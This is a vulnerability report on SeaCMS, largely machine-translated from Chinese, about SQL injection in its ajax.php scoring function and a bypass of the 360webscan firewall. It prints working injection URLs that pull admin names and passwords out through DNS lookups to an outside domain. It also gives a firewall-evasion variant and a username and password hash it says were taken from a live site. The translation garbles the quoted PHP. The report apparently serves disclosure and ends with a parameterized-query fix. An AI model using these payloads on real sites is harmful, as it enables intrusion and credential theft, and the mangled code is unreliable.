Seacms最新版多处update注入(绕过360webscan)

漏洞标题 Seacms最新版多处update注入(绕过360webscan) 相关厂商 SeaCms 漏洞作者 Pany自留地 提交时间 2016-03-18 15:50 公开时间 2016-06-2…

漏洞标题 Seacms最新版多次更新注入(通过360webscan) 相关制造商 SeaCms 漏洞作者 Pany保留 提交时间 2016-03-18 15: 50 公共时间 2016-06-20 15: 50 漏洞类型 SQL注入漏洞 危险等级 高 自我评估等级 12 漏洞状态 已提交给第三方合作机构(cncert National Internet Emergency Center) 标签标签 Waf绕过,php源代码分析,sql注入漏洞提示 漏洞详细信息 SeaCms具有与全局注册变量类似的机制,为后者的漏洞奠定了基础。 //检查并注册外部提交的变量 Foreach($ _ REQUEST as $ _k=> $ _ v) { 如果(strlen($ _ k)> 0& m_eregi('^(cfg_ | GLOBALS)',$ _ k)&&!isset($ _ COOKIE [$ _ k])) { 退出('Request var not allow!'); } } 函数_RunMagicQuotes(& $ svar) { 如果(!get_magic_quotes_gpc()) { 如果(is_array($ svar)) { Foreach($ svar as $ _k=> $ _v)$ svar [$ _ k]=_RunMagicQuotes($ _ v); } 其他 { $ svar=addslashes($ svar); } } 返回$ svar; } Foreach(数组('_ GET','_ POST','_ COOKIE')为$ _request) { Foreach($$ _ request as $ _k=> $ _v)$ {$ _ k}=_RunMagicQuotes($ _ v); } 漏洞文件:\ include \ ajax.php 11-44行 切换($ action){ 案例'digg': 案例'踩': 案例'得分': Echo scoreVideo($ action); 打破; Case'diggnews': Case'townews': 案例'得分新闻': Echo scoreNews($ action); 打破; 案例'命中': Echo updateHit(); 打破; 案例'hitnews': Echo updateHitNews(); 打破; 案例'addfav': Echo addfav(); 打破; Case'videoscore': Case'newsscore': Echo getScore($ action); 打破; 案例'vpingfen': Echo vpingfen($ action); 打破; 案例'npingfen': Echo npingfen($ action); 打破; 案例'成员': 回声成员(); 打破; } 问题出在scoreVideo()函数中,该函数遵循此函数。 功能scoreVideo($ operType){ 全球$ id,$ dsql,$ score; 如果($ id< 1)返回'err'; ..在这里省略几行代码... } ELSEIF($ operType=='分数'){ 如果(GetCookie('ssea3_score'。$ id)=='ok')返回'havescore'; $ dsql-> ExecuteNoneQuery('Update`sea_data` set v_scorenum=v_scorenum + 1,v_score=v_score +'。$ score。'其中v_id=$ id'); PutCookie('ssea3_score'。$ id,'ok',3600 * 24,'/'); 回归''; }其他{ 回归'错误'; } } $ dsql-> ExecuteNoneQuery('Update`sea_data` set v_scorenum=v_scorenum + 1,v_score=v_score +'。$ score。'其中v_id=$ id'); 可以控制$ id和$ score,从而导致SQL注入。 什么时候 $ score=2,v_digg=(select user()) 此时,字段v_digg的内容意外地使用子查询更新为tooler想要获取的信息。 接下来,写poc 首先澄清该计划的逻辑 $ action=得分进入scoreVideo()函数 同时$ id应大于1,否则返回'err'; cookie中ssea3_score。$ id的值不能正常,否则返回'havescore'; 因为我无法直接获取子查询的数据,所以我在这里使用DNS来获取数据(此方法的局限性在于目标环境需要使用root用户连接的数据库来获取数据) 参考《在SQL注入中使用DNS获取数据》 http://**。**。**。**/tips/5283 理论上,poc是: http://localhost/include/ajax.php?action=score& id=1& score=2,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20 from%20sea_admin%20limit% 201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172))) 但因为该程序使用80秒ID。绕过POC之后: http://localhost/include/ajax.php?action=score& id=1& score=@`\'`,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20 from% 20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172))),v_hit=@`\' 360webscan在本地调试时不会拦截,但在实际的在线环境中,上面的poc将被360webscan拦截。

所以我必须绕过360webscan(最后在测试代码中poc) 漏洞证明: 寻找在线环境:http://**。**。**。** / 由dns获得

用户:mosss密码:78832884f6c8c932a264 Seacms的加密方法和dedecms都是20位md5。要恢复密码,请减去3位数,然后减去1位数以获得16位MD5。

修理计划: Sql参数化查询可以从根本上解决这类问题。 版权声明:请注明出处。 Pany保留土地@乌云